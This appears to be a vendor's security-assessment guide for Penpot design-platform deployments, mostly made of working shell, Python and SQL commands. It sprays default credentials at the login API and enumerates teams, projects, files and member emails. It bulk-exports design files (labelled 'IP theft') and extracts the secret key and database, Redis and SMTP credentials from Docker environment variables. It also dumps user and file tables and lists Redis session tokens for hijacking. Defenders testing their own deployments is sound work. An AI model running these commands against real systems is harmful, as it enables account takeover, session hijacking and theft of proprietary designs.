Penpot is a widely deployed open-source design and prototyping platform (Figma alternative) used for creating UI/UX designs, brand assets, and product mockups — it stores all team design files, assets, and prototypes. Key assessment areas: admin@example.com / penpot are the documented demo credentials often left unchanged; PENPOT_SECRET_KEY signs session cookies; the RPC API provides access to all team design files; design files can be exported as binary blobs; PostgreSQL stores all metadata and team memberships; and Redis stores active session tokens. Penpot compromise exposes proprietary product designs, brand assets, and unreleased UI mockups representing significant intellectual property. This guide covers systematic Penpot security assessment.
# Penpot — default credentials and authentication testing
PENPOT_URL="https://penpot.example.com"
# Penpot login — test documented demo/default credentials
for CRED in "admin@example.com:penpot" "admin@penpot.app:penpot" "demo@example.com:penpot" "admin@example.com:admin"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${PENPOT_URL}/api/rpc/command/login-with-password" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
STATUS=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('id'):
print(f'OK id={d.get(\"id\")} name={d.get(\"fullname\",\"\")} admin={d.get(\"is_superuser\",False)}')
elif 'error' in str(d).lower() or 'wrong' in str(d).lower():
print('FAIL')
else:
print(str(d)[:60])
" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${STATUS}"
done
# Check PENPOT_FLAGS — controls registration and authentication
# disable-registration prevents new account creation
# enable-login-with-password (default) enables password login
# disable-email-verification skips email verification (insecure default in many setups)
curl -s "${PENPOT_URL}/api/rpc/command/get-profile" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Returns current user or error
print(str(d)[:100])
" 2>/dev/null
# Session token from cookie — Penpot uses cookie-based auth
# AUTH_TOKEN cookie signed with PENPOT_SECRET_KEY
AUTH_COOKIE="auth-token-value-from-browser"
curl -s "${PENPOT_URL}/api/rpc/command/get-profile" \
-H "Cookie: auth-token=${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Profile: {d.get(\"fullname\")} email={d.get(\"email\")} superuser={d.get(\"is_superuser\")}')
" 2>/dev/null
# Penpot RPC API — design file and team enumeration
PENPOT_URL="https://penpot.example.com"
# Penpot uses cookie auth — extract from logged-in browser session
AUTH_COOKIE="auth-token=your-session-token"
# Get all teams (workspaces)
curl -s "${PENPOT_URL}/api/rpc/command/get-teams" \
-H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
teams = d if isinstance(d,list) else []
print(f'Teams: {len(teams)}')
for t in teams[:10]:
print(f' [{t.get(\"id\")}] {t.get(\"name\")} members={t.get(\"num-members\",0)}')
" 2>/dev/null
# Get all projects in a team
TEAM_ID="your-team-id"
curl -s "${PENPOT_URL}/api/rpc/command/get-projects?team-id=${TEAM_ID}" \
-H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d if isinstance(d,list) else []
print(f'Projects: {len(projects)}')
for p in projects[:10]:
print(f' [{p.get(\"id\")}] {p.get(\"name\")} modified={str(p.get(\"modified-at\",\"\"))[:10]}')
" 2>/dev/null
# Get all files in a project (design files)
PROJECT_ID="your-project-id"
curl -s "${PENPOT_URL}/api/rpc/command/get-project-files?project-id=${PROJECT_ID}" \
-H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
files = d if isinstance(d,list) else []
print(f'Design files: {len(files)}')
for f in files[:10]:
print(f' [{f.get(\"id\")}] {f.get(\"name\")} pages={len(f.get(\"data\",{}).get(\"pages-index\",{}))}')
" 2>/dev/null
# Export a design file — downloads complete binary design data (IP theft)
FILE_ID="your-file-id"
curl -s "${PENPOT_URL}/api/export-binfile?file-id=${FILE_ID}&include-libraries=true" \
-H "Cookie: ${AUTH_COOKIE}" \
-o exported_design.penpot 2>/dev/null
ls -la exported_design.penpot 2>/dev/null && echo "Design file exported"
# Get team members
curl -s "${PENPOT_URL}/api/rpc/command/get-team-members?team-id=${TEAM_ID}" \
-H "Cookie: ${AUTH_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d if isinstance(d,list) else []
print(f'Team members: {len(members)}')
for m in members[:10]:
print(f' {m.get(\"fullname\")} email={m.get(\"email\")} role={m.get(\"role\")}')
" 2>/dev/null
# Penpot PENPOT_SECRET_KEY and database credential extraction
# Docker environment variables
docker inspect penpot-backend 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['PENPOT','SECRET','DATABASE','REDIS','SMTP','FLAGS','PASSWORD']):
print(e)
" 2>/dev/null
# PENPOT_SECRET_KEY — cookie/session signing key
# PENPOT_DATABASE_URI — PostgreSQL connection string
# PENPOT_REDIS_URI — Redis connection string
# PENPOT_SMTP_* — mail server credentials
# PENPOT_FLAGS — feature flags (registration, auth methods)
# PostgreSQL — all team and file data
DB_URL="postgresql://penpot:PASSWORD@localhost/penpot"
# All users
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, email, fullname, is_active, is_superuser,
created_at, last_login_at
FROM profile
ORDER BY is_superuser DESC, created_at ASC
LIMIT 20;
EOF
# All teams and their members
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.id, t.name,
p.email as member_email, p.fullname,
tm.role, tm.created_at
FROM team_profile_rel tm
JOIN team t ON tm.team_id = t.id
JOIN profile p ON tm.profile_id = p.id
ORDER BY t.name, tm.role
LIMIT 30;
EOF
# All design files
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT f.id, f.name, f.project_id,
pr.name as project_name, t.name as team_name,
f.created_at, f.modified_at
FROM file f
JOIN project pr ON f.project_id = pr.id
JOIN team t ON pr.team_id = t.id
ORDER BY f.modified_at DESC
LIMIT 20;
EOF
-- file.data column contains the actual binary design data (transit-json)
# Redis — active session tokens
redis-cli -u redis://localhost:6379 KEYS "penpot:session:*" 2>/dev/null | head -10
# Session tokens can be used to hijack active user sessions
| Security Test | Method | Risk |
|---|---|---|
| Default demo credential access (admin@example.com/penpot) | POST /api/rpc/command/login-with-password with documented demo credentials — commonly left unchanged; full access to all team design files and projects | Critical |
| PENPOT_SECRET_KEY session cookie forgery | Read PENPOT_SECRET_KEY from Docker env — forge valid session cookies for any user; access all team design files without credentials | Critical |
| Design file bulk export for IP theft | GET /api/export-binfile?file-id={id} — download complete binary design files; extract proprietary product designs, brand assets, unreleased mockups; all team design IP in one request per file | High |
| Redis session token hijacking | KEYS penpot:session:* on unauthenticated Redis — enumerate all active session tokens; GET session token values to impersonate any active user without their credentials | Critical |
| PostgreSQL file.data design binary extraction | SELECT data FROM file — binary transit-json design data for all files; complete design IP accessible with database credentials outside Penpot access controls | High |
Ironimo tests Penpot deployments for default admin@example.com/penpot credential access, PENPOT_SECRET_KEY session cookie forgery, design file bulk export for IP theft assessment, Redis session token hijacking on unauthenticated Redis, PostgreSQL file binary data extraction, team member email enumeration, PENPOT_FLAGS misconfiguration (open registration, email verification bypass), SMTP credential extraction, Docker environment variable exposure, and design file project access boundary testing.
Start free scan